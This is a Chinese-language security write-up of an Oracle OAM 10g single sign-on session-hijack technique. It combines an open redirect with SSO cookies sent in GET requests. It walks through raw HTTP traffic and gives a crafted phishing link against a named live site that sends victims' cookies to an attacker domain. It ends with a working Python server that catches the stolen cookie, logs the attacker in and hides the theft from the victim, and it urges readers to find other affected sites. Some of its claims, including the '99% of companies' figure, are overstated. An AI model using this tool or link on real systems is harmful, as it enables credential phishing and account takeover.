导语:Oracle OAM10g配置不当会导致用户在不知情的情况下被攻击者劫持。不得不说,这种方法为钓鱼攻击提供了一个全新领域。大概有99%的公司的Oracle数据库没有被正确的配置。

漏洞简介

Oracle OAM10g配置不当会导致用户在不知情的情况下被攻击者劫持。不得不说,这种方法为钓鱼攻击提供了一个全新领域。大概有99%的公司的Oracle数据库没有被正确配置。

去年年底,我和TOM在做一次安全评估当中,偶然发现一个非常复杂的单点登录(SSO),为了保证能够访问到请求的资源,它会处理18种不同的请求。在了解清楚并且绘制出来这些cookie和参数在登录过程中的作用后,挑选出来了作用最大的cookie:”ObSSOCookie”,它可以用来在各种web应用程序中进行验证。

在对网络进行快速了解后,发现这个cookie和Oracle访问管理器的SSO实现有关。所以我们现在就要找到一个获取到这个cookie的方法。

Oracle OAM认证流程

在介绍攻击方法之前,我们需要了解一下用户如何在Oracle SSO上进行身份验证的:

SSO_Flow_1.jpg

在上图中你可以看到当用户请求受保护的资源时,比如: https://somewebsite.com/protected/,OAM服务器会简单的认证一下访问的内容是否被保护,并且将结果返回(上图中的1,2步)。如果页面确实处于被保护的状态,那么Oracle OAM服务器就会将用户重定向到登陆界面进行登录。

原始的HTTP请求以及响应如下:

GET /protected/ HTTP/1.1 Accept: /
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: somewebsite.com
Connection: Keep-Alive

HTTP/1.1 302 Redirect Content-Length: 0
Location: http://someotherdomain.com/oam/server/obrareq.cgi?wh%3Dsomewebsite.com%20wu%3D%2Fprotected%2F%20wo%3D1%20rh%3Dhttps%3A%2F%2Fsomewebsite.com%20ru%3D%252Fprotected%252F
Server: Microsoft-IIS/7.5
Set-Cookie: ObSSOCookie=loggedoutcontinue; httponly; path=/
X-Powered-By: ASP.NET
Date: Fri, 09 Mar 2012 16:14:16 GMT

GET /oam/server/obrareq.cgi?wh%3Dsomewebsite.com%20wu%3D%2Fprotected%2F%20wo%3D1%20rh%3Dhttps%3A%2F%2Fsomewebsite.com%20ru%3D%252Fprotected%252F HTTP/1.1 Accept: /
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: someotherdomain.com
Connection: Keep-Alive

HTTP/1.1 200 OK Cache-Control: no-cache, no-store
Date: Fri, 09 Mar 2012 16:16:55 GMT
Pragma: no-cache
Content-Length: 3326
Content-Type: text/html; charset=UTF-8
Expires: 0
Set-Cookie: OAMREQ=VERSION4~KJTasxCSm1Z1LVGtpMwu5nJ3cwSYLNx1TGFLYN7tRq3Jr1Pin693MMCJJHQ6bPQL1vSxK3En%...
X-ORACLE-DMS-ECID: bc0b467a62ba363a:-50e866c2:135cc4d3539:-8000-0000000000000ab5
X-Powered-By: Servlet/2.5 JSP/2.1

OAM服务器会在用户浏览器中设置名为”OAMREQ”的cookie,用于保存用户请求资源所在位置的信息。这样在下一次请求时OAM服务器就会了解到用户正在认证哪个资源。现在用户正在进行登录,需要他去输入帐号以及密码。这时我们会了解到认证流程的第二部分:

SSO_Flow_2.jpg

用户将帐号密码提交给服务器认证,并且返回给用户各种cookie,其中如果认证通过,”ObSSoCookie”就会作为其中之一cookie返回给用户。

SSO_Flow_3.jpg

所以流程已经清楚了,下面就是正常的请求以及响应数据包:

OST /oam/server/auth_cred_submit HTTP/1.1 Accept: text/html, application/xhtml+xml, /
Referer: http://someotherdomain.com/oam/server/obrareq.cgi?wh%3Dsomewebsite.com%20wu%3D%2Fprotected%2F%20wo%3D1%20rh%3Dhttp%3A%2F%2Fsomewebsite.com%20ru%3D%252Fprotected%252F
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: someotherdomain.com
Content-Length: 67
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: OAMREQ=VERSION4~KJTasxCSm1Z1LVGtpMwu5nJ3cwSYLNx1TGFLYN7tRq3Jr1Pin693MMCJJHQ6bPQL1vSxK3En%...

username=User1&password=User123456&request_id=-8330979068306697433

HTTP/1.1 302 Moved Temporarily Connection: close
Date: Fri, 09 Mar 2012 16:17:01 GMT
Transfer-Encoding: chunked
Location: http://somewebsite.com/obrar.cgi?cookie=vBDzuSSiKglMEtxbyB1gBqe1aZvsE6WQhSF7%2Be%2FZ0DpntUvIXgPr79acpIo8FQ0V4mvuOrqn%2BGIendMpqPNgTuISUEDblFQjZKfNG4ixWaVW%2BitIr58w%2FvQ2kalnVL3zhKYAF2yU7rGyNolRifidAq7xW8%2BKQbyFq8GFAgga0Assv%2BxwGzvd%2FizmiXnx8cOD6KZBWGMtIeLBrJRBitqXoKgLZc6b2UuCc2VLkTufmlQdt0DZ7dOACr45efkrTSKgKhuqoykTsiKiGTIP4R2xe85TUfYYm%2F1i4E8p%2FdHmcD4tpJ4LRrslKI3MgDHj%2Ft1uq3ryhROxbcRBk2eM1Eo99QYNY6IOsFyo1sJA7YEkr7c%3D%20redirectto=%252Fprotected%252F%20ssoCookie=httponly
Set-Cookie: OAMID=VERSION4~C7Iz5I0rodPWWPLR82CoQg~bP8dGW/YVqe1NaHiCaZ3z6p2dbxVbpJpcSYMU6LVzUSBHp0C9OtSKbtvUlHHDsGImCi8KtAh3CLHXN+paF2+ZyxNOZOge2Mg2aH6vF8Wy2fUgIEYAVYjtVrP4bVTC0GpM7S6dt3XpjR/AHScYUdQNp5Olr5D3gSlBAnXWcyYxY9u/x620d5LHIYvBdZvqZzVsfAAV/5KovBKD/5wvhPWI/JDkYoUdT37VoaDp7BS1lOumUtTqzXkQTzMzAkLCzhS0M1NyCYTiT9904bIxfzhJw; path=/; HttpOnly
Set-Cookie: OAM_REQ=invalid; path=/; HttpOnly
X-ORACLE-DMS-ECID: bc0b467a62ba363a:-50e866c2:135cc4d3539:-8000-0000000000000ab7
X-Powered-By: Servlet/2.5 JSP/2.1

GET /obrar.cgi?cookie=vBDzuSSiKglMEtxbyB1gBqe1aZvsE6WQhSF7%2Be%2FZ0DpntUvIXgPr79acpIo8FQ0V4mvuOrqn%2BGIendMpqPNgTuISUEDblFQjZKfNG4ixWaVW%2BitIr58w%2FvQ2kalnVL3zhKYAF2yU7rGyNolRifidAq7xW8%2BKQbyFq8GFAgga0Assv%2BxwGzvd%2FizmiXnx8cOD6KZBWGMtIeLBrJRBitqXoKgLZc6b2UuCc2VLkTufmlQdt0DZ7dOACr45efkrTSKgKhuqoykTsiKiGTIP4R2xe85TUfYYm%2F1i4E8p%2FdHmcD4tpJ4LRrslKI3MgDHj%2Ft1uq3ryhROxbcRBk2eM1Eo99QYNY6IOsFyo1sJA7YEkr7c%3D%20redirectto=%252Fprotected%252F%20ssoCookie=httponly HTTP/1.1 Accept: text/html, application/xhtml+xml, /
Referer: http://someotherdomain.com/oam/server/obrareq.cgi?wh%3Dalpha%20wu%3D%2Fprotected%2F%20wo%3D1%20rh%3Dhttp%3A%2F%2Falpha%20ru%3D%252Fprotected%252F
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Cookie: ObSSOCookie=loggedoutcontinue
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Cache-Control: no-cache
Host: somewebsite.com

HTTP/1.1 302 Redirect Content-Length: 0
Location: /protected/
Server: Microsoft-IIS/7.5
Set-Cookie: ObSSOCookie=vBDzuSSiKglMEtxbyB1gBqe1aZvsE6WQhSF7%2Be%2FZ0DpntUvIXgPr79acpIo8FQ0V4mvuOrqn%2BGIendMpqPNgTuISUEDblFQjZKfNG4ixWaVW%2BitIr58w%2FvQ2kalnVL3zhKYAF2yU7rGyNolRifidAq7xW8%2BKQbyFq8GFAgga0Assv%2BxwGzvd%2FizmiXnx8cOD6KZBWGMtIeLBrJRBitqXoKgLZc6b2UuCc2VLkTufmlQdt0DZ7dOACr45efkrTSKgKhuqoykTsiKiGTIP4R2xe85TUfYYm%2F1i4E8p%2FdHmcD4tpJ4LRrslKI3MgDHj%2Ft1uq3ryhROxbcRBk2eM1Eo99QYNY6IOsFyo1sJA7YEkr7c%3D;httponly; path=/
X-Powered-By: ASP.NET
Date: Fri, 09 Mar 2012 16:14:22 GMT

GET /protected/ HTTP/1.1 Accept: text/html, application/xhtml+xml, /
Referer: http://someotherdomain.com/oam/server/obrareq.cgi?wh%3Dalpha%20wu%3D%2Fprotected%2F%20wo%3D1%20rh%3Dhttp%3A%2F%2Falpha%20ru%3D%252Fprotected%252F
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Cookie: ObSSOCookie=vBDzuSSiKglMEtxbyB1gBqe1aZvsE6WQhSF7%2Be%2FZ0DpntUvIXgPr79acpIo8FQ0V4mvuOrqn%2BGIendMpqPNgTuISUEDblFQjZKfNG4ixWaVW%2BitIr58w%2FvQ2kalnVL3zhKYAF2yU7rGyNolRifidAq7xW8%2BKQbyFq8GFAgga0Assv%2BxwGzvd%2FizmiXnx8cOD6KZBWGMtIeLBrJRBitqXoKgLZc6b2UuCc2VLkTufmlQdt0DZ7dOACr45efkrTSKgKhuqoykTsiKiGTIP4R2xe85TUfYYm%2F1i4E8p%2FdHmcD4tpJ4LRrslKI3MgDHj%2Ft1uq3ryhROxbcRBk2eM1Eo99QYNY6IOsFyo1sJA7YEkr7c%3D
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Cache-Control: no-cache
Host: somewebsite.com

HTTP/1.1 200 OK Cache-Control: no-cache,private
Pragma: no-cache
Content-Type: text/html
Content-Encoding: gzip
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Fri, 09 Mar 2012 16:14:22 GMT
Content-Length: 2495

对Oracle访问管理器的介绍就到此为止了,我们现在就要介绍如何对它进行会话劫持~

会话劫持

你可能在上述请求过程中发现了一些明显的标志:

1. rh参数表示被保护的目录地址
2. cookie是通过GET请求传递的。

没错,cookie确实是通过get请求进行传递的..

post-19715-Brent-Rambo-gif-thumbs-up-imgu-L3yP.gif

现在的挑战就是盗取cookie的值,然后劫持用户会话。但是根据Oracle文档,OAM服务器会验证资源是否是保护的,因此我们首先需要访问一个不存在的页面

我们首先发送请求到OAM服务器:

https://<some domain>/oam/server/obrareq.cgi?wh=<some_internal_domain> wu=<some_webpage> wo=1 rh=http://localhost ru=/this/does/not/exist.html

我们的请求会让OAM服务器将我们的页面重定向到http://localhost/this/does/not/exist.html中,不过这个页面根本不存在。它并没有将我们重定向到登录页面,这看起来有戏~

我们现在已经从OAM服务器中获取到了OAMREQ这个cookie,用于记录登录成功之后跳转的页面。然而现在仍然有很大的疑问,为什么我们访问了一个不存在的页面,OAM服务器确返回给我们一个有效的cookie值。

先不管他,我们先提交上去登录凭证,令我们很惊讶的是,OAM服务器将页面重定向到:

http://localhost/obrar.cgi?cookie=<LOOOOOOONG_COOKIE_VALUE>

when-your-mom-says-yaass--full.jpg

等等,我们是不是收到了一个不存在页面的cookie,或许这个cookie只是在http://localhost这个域中有效,在真正域名下不一定有效,下面给出测试结果。
我们将GET请求从"http://localhost/obrar.cgi?cookie="替换为"http:///obrar.cgi?cookie=",我们竟然登录成功了!!!

返回包如下:

HTTP/1.1 200 OK Cache-Control: no-cache,private
Pragma: no-cache
Content-Type: text/html
Content-Encoding: gzip
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Fri, 09 Mar 2017 14:14:22 GMT
Content-Length: 2495

giphy.gif

所以这里有两个”漏洞”:

1. 重定向开启
2. cookie值使用GET方法传递

我们可以通过修改cookie控制用户登录之后的路径,我们也可以读取到用户的cookie,了解到他要登录的地址,进而劫持会话。

我们唯一需要做的就是让用户点击我们发送给他的登录页面,他的确会登录到真实的页面中,所以并不会引起怀疑。如果他已经登录,我们将会收到他的cookie,同样不会产生任何怀疑。

全球曝光

一开始我认为只是个别情况下配置不正确,不可能大部分Oracle 10g都出现错误..
不过,我想错了..
我们发现数百个国际知名组织具有相同的配置问题,所有这些阻止都可以被会话劫持。我们测试了100个国际知名组织的域名,其中只有一个抵御了我们的攻击。不过我们不会公开受影响的域名,你可以自己去寻找。

我们一开始寻找使用OAM SSO方案并且运行错误配置的域名,我们很快找到了德国电信公司:https://my.telekom.ro

想要登录到https://my.telekom.ro网站的用户会得到类似下方url的重定向地址:

https://my.telekom.ro/oam/server/obrareq.cgi?wh%3DIAMSuiteAgent+wu%3D%2Fms_oauth%2Foauth2%2Fui%2Foauthservice%2Fshowconsent+wo%3DGET+rh%3Dhttps%3A%2F%2Fmy.telekom.ro%3A443%2Fms_oauth%2Foauth2%2Fui%2Foauthservice+ru%3D%2Fms_oauth%2Foauth2%2Fui%2Foauthservice%2Fshowconsent+rq%3Dresponse_type%253dcode%26client_id%253d98443c86e4cb4f9898de3f3820f8ee3c%26redirect_uri%253dhttp%25253A%25252F%25252Fantenaplay.ro%25252Ftkr%26scope%253dUserProfileAntenaPlay.me%26oracle_client_name%253dAntenaPlay

点击上方链接将重定向到:

https://my.telekom.ro/ssologin/ssologin.jsp?contextType=external&username=string&OverrideRetryLimit=0&contextValue=%2Foam&password=sercure_string&challenge_url=https%3A%2F%2Fmy.telekom.ro%2Fssologin%2Fssologin.jsp&request_id=-9056979784527554593&authn_try_count=0&locale=nl_NL&resource_url=https%253A%252F%252Fmy.telekom.ro%253A443%252Fms_oauth%252Foauth2%252Fui%252Foauthservice%252Fshowconsent%253Fresponse_type%25253Dcode%252526client_id%25253D98443c86e4cb4f9898de3f3820f8ee3c%252526redirect_uri%25253Dhttp%25253A%25252F%25252Fantenaplay.ro%25252Ftkr%252526scope%25253DUserProfileAntenaPlay.me%252526oracle_client_name%25253DAntenaPlay

用户必须提交他们的帐号密码才能访问到他们信息,如果我们将第一个url更改为:

https://my.telekom.ro/oam/server/obrareq.cgi?wh%3DIAMSuiteAgent+wu%3D%2Fmsoauth%2Foauth2%2Fui%2Foauthservice%2Fshowconsent+wo%3DGET+rh%3Dhttp%3A%2F%2Four_malicious_domain%2Fmsoauth%2Foauth2%2Fui%2Foauthservice+ru%3D%2Fmsoauth%2Foauth2%2Fui%2Foauthservice%2Fshowconsent+rq%3Dresponsetype%253dcode%26clientid%253d98443c86e4cb4f9898de3f3820f8ee3c%26redirecturi%253dhttp%25253A%25252F%25252Fantenaplay.ro%25252Ftkr%26scope%253dUserProfileAntenaPlay.me%26oracleclientname%253dAntenaPlay

我们诱使用户点击一下链接,因为ssl通信方式并没有变化,而且这并不像是一个普通的钓鱼链接,这个链接跳转到了真正的登录页面,用户输入完成之后,凭证会发送到我们设置的接受端(http://our_malicious_domain).

我们的接受端会盗取用户的cookie,然后使用cookie进行登录,接下来将得到的cookie重定向回原来的网站。这样一来,攻击者和受害者同时登录,而且受害者也不会发觉。

接收端POC

#!/usr/bin/env python
"""
Oracle OAM 10g Session Hijack

usage: Oracle_PoC.py -d redirect_domain

Default browser will be used to open browser tabs

PoC tested on Windows 10 x64 using Internet Explorer 11

positional arguments:

"""
import SimpleHTTPServer  
import SocketServer  
import sys  
import argparse  
import webbrowser  
import time

def redirect_handler_factory(domain):  
    class RedirectHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
       def do_GET(self):
            if self.path.endswith("httponly") or self.path.endswith("%252F") or  self.path.endswith("do") or self.path.endswith("adfAuthentication"):
                webbrowser.open_new("https://" + domain) #Load website in order to retrieve any other cookies needed to login properly
                time.sleep( 5 )
                webbrowser.open("https://"+ domain +"/" + self.path, new=0, autoraise=True) #Use received cookie to login on to the website
                time.sleep( 5 )
                self.send_response(301)
                self.send_header('Location','https://'+ domain +'/'+ self.path) #Send same cookie to the victim and let him log-in as well, to not raise any suspicion ;)
                self.end_headers()
                return
            else:
                            print self.path
    return RedirectHandler


def main():

    parser = argparse.ArgumentParser(description='Oracle Webgate 10g Session Hijacker')

    parser.add_argument('--port', '-p', action="store", type=int, default=80, help='port to listen on')
    parser.add_argument('--ip', '-i', action="store", default="0.0.0.0", help='host interface to listen on')
    parser.add_argument('--domain','-d', action="store", default="localhost", help='domain to redirect the victim to')

    myargs = parser.parse_args()

    port = myargs.port
    host = myargs.ip
    domain = myargs.domain

    redirectHandler = redirect_handler_factory(domain)

    handler = SocketServer.TCPServer((host, port), redirectHandler)
    print("serving at port %s" % port)
    handler.serve_forever()

if __name__ == "__main__":  
    main()

视频

 

源链接

Hacking more

...